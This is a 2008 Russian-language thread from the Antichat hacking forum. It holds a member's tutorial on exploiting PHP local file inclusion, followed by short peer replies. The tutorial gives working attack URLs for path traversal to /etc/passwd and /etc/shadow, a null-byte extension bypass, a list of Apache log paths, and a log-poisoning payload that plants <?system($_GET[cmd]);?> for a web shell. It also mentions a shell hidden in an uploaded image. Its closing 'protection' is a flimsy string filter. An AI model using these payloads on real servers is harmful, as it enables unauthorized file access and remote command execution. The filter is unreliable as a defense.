HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Локальные Php Иньекции
  #1  
Старый 11.04.2008, 23:40
maxster
Участник форума
Регистрация: 27.10.2006
Сообщений: 205
С нами: 10282956

Репутация: 380
По умолчанию Локальные Php Иньекции

0.Введение

В это статье я расскажу о том как пользоваться локальной пхп иньекцией.
Некоторые считают, что это бесполезный тип атаки, однако это не так,
с ее помощью можно узнать много ПОЛЕЗНОЙ информации, которая поможет
в процессе взлома, а в не которых случаях даже получить шелл.

1. Поехали!


Для начала давайте рассмотрим кусок уязвимого кода:

Код:
<?php 
$page = $_GET[page]; 
include($page); 
?>
Этот кусок кода никогда нельзя использовать, т.к. $page не фильруеться и на прямую
идет к вебфайлу, несмотря на это очень часто можно встретить этот код в сети.
Предположим, что есть веб сервер с папкой include, в который лежит
сраница main.php, мы можем попасть на нее так:
Код:
http://webserver.ru/inc/main.php
А если уязвимый код, описаный в первой части присутвует в index.php, который лежит
в корневой директории сервера, то можно сделать так:
Код:
http://webserver.ru/index.php?page=test/main.php
Index.php может лежать в другом месте, например в папке /test/krevedko/index.php,
то подгрузить main.php можно так:
Код:
http://webserver.ru/test/krevedko/index.php?page=../main.php
../ - предыдущая папка
./ - папка в которой находиться скрипт

2. Глазами хакера

Что ж теперь, когда мы знаем как это выглядит, давайте попробуем использовать это
в своих целях. Например, если машина стоит на *nix, можно прочитать файл с паролями,
для это надо сделать нечто подобное:

Код:
http://webserver.ru/index.php?page=../../../../../etc/passwd
Если пароли не затенены (находяться в файле etc/shadow), то мы увидим
приблизительно такое:
Код:
user:ghjERIOmm23rt:305:100:UserName:/home/user:/bin/sh
что означает
Код:
username: passwd:UID:GID:full_name:directory:shell
Сейчат редко увидишь пароли в файле passwd, все чаще они находяться в
etc/shadow, который доступен только root, так что врятли вы его прочтете.
Здесь не много мест, куда следует сходить

Код:
/etc/passwd 
/etc/shadow 
/etc/security/passwd 
/etc/security/user

3. Не все так гладко на нашем пути


Не много подумав, можно себе представить такой код

Код:
PHP Code: 
<?php 
$page = $_GET["page"]; 
include("$page.php"); 
?>
В конце добавляеться расширениее .php, так что если вызвать

Код:
http://webserver.ru/index.php?page=../../../../../etc/passwd
Получим не файл passwd, а файль passwd.php, которого само сабой нет,
так что здесь нам в помощь идет NULL byte или ядовитый ноль, после
такого байта сервер игнорирует, то что идет дальше, так что код выглядит так:
Код:
http://webserver.ru/index.php?page=../../../../../etc/passwd%00
%00 - NULL byte

4. А как же веб шелл ?

А вот так, мы попробуем записать php код в логи http демона и заинклудить их,
вопрос лишь в том где они? Я вам дам пару путей возможного их нахождения:

Код:
../apache/logs/error.log 
../apache/logs/access.log 
../etc/httpd/logs/acces_log 
../etc/httpd/logs/acces.log 
../etc/httpd/logs/error_log 
../etc/httpd/logs/error.log 
../var/www/logs/access_log 
../var/www/logs/access.log 
../usr/local/apache/logs/access_log 
../usr/local/apache/logs/access.log 
../var/log/apache/access_log 
../var/log/apache2/access_log 
../var/log/apache/access.log 
../var/log/apache2/access.log 
../var/log/access_log 
../var/log/access.log 
../var/www/logs/error_log 
../var/www/logs/error.log 
../usr/local/apache/logs/error_log 
../usr/local/apache/logs/error.log 
../var/log/apache/error_log 
../var/log/apache2/error_log 
../var/log/apache/error.log 
../var/log/apache2/error.log 
../var/log/error_log 
../var/log/error.log
эти логи ведут запись запросов о не найденных файлах, то есть
что бы этим воспользоваться достаточно обратиться скажем к такому
файлу http://webserver/<?system($_GET[cmd]);?> и наш php код
(<?system($_GET[cmd]);?>) будет записан в эти логи, дальше с помощью
локальной php инькции мы подгрузим лог и выполним команду, но
ваш браузер может переделать код в такой вид:
Код:
%3C?%20system(\$_GET[cmd])%20?>
так что для этого можно воспользоваться программой которая шлет запросы,
или написать скрипт, который будет все делать сам.

Так же шел можно залить с помощью картинки
Вставляем в каритинку php код, заливаем на сервер и с помощью иньекции инклудим ее,
результат работы скрипта в картинке должен быть выведен на экран.

5. Пару слов о защите.

Иногда приходиться самому писать движок и в некоторых случаях приходиться использовать
этот бажный кусок, но как же защитить свой сайт от злостных хакеров? для этого стоит добавить
вот такую конструкцию после бажной части:

Код:
if(!isset($_GET["page"]))exit;
$page = str_replace(".", "", str_replace("\\", "", $_GET["page"]));
if(!file_exists($page)) exit;
include($page);
И все будет хорошо, можно спокойно идти спать и не бояться инклуда

6. Заключение

Это все что я хотел рассказать вам локальных php иньекциях, не делайте сами таких ошибок,
карайте тех кто их делает, всем удачи.
 

  #2  
Старый 12.04.2008, 00:14
ZAMUT
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
С нами: 9762146

Репутация: 1174
По умолчанию

Цитата:
2. Глазами хакера
хакер что ле? как Фленов. .
мда..
Цитата:
https://forum.antichat.ru/thread12123.html
Все остальное очевидно

Последний раз редактировалось ZAMUT; 12.04.2008 в 00:26..
 

  #3  
Старый 12.04.2008, 00:21
iddqd
Banned
Регистрация: 19.12.2007
Сообщений: 924
С нами: 9681386

Репутация: 2145


По умолчанию

http://forum.antichat.ru/thread23501.html - здесь просто нечего добавить...
Автору + за старания, но это не очень сильно...
 

  #4  
Старый 12.04.2008, 00:22
gibson
Постоянный
Регистрация: 24.02.2006
Сообщений: 447
С нами: 10636106

Репутация: 705
По умолчанию

Цитата:
но как же защитить свой сайт от злостных хакеров?
кто сказал, что мы злостные=\

Цитата:
Хакер - не преступник.
Взлом - для искусства.
Смысл - в свободе!
Сейчас это выражение на половину утратило свой первоначальный смысл, жаль=\

зы статья не раскрыта и на 50% незачет
 

  #5  
Старый 12.04.2008, 07:50
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами: 11058146

Репутация: 4536


По умолчанию

это не практично
 

  #6  
Старый 12.04.2008, 10:25
MaSter GeN
Познающий
Регистрация: 26.01.2008
Сообщений: 71
С нами: 9626078

Репутация: 141
По умолчанию

тема в данном случае мало понятна для новичка и не раскрыта !!!афтаору + за старания
 

  #7  
Старый 12.04.2008, 10:50
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
С нами: 10077446

Репутация: 3965


По умолчанию

спс, мен что оформил, а то в *.txt неудобно и впадлу мне было читать.
СПС!
 

  #8  
Старый 12.04.2008, 13:52
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами: 11217866

Репутация: 3812


По умолчанию

У задохлика статья лучше была
__________________
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP 186 21.02.2010 02:41
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.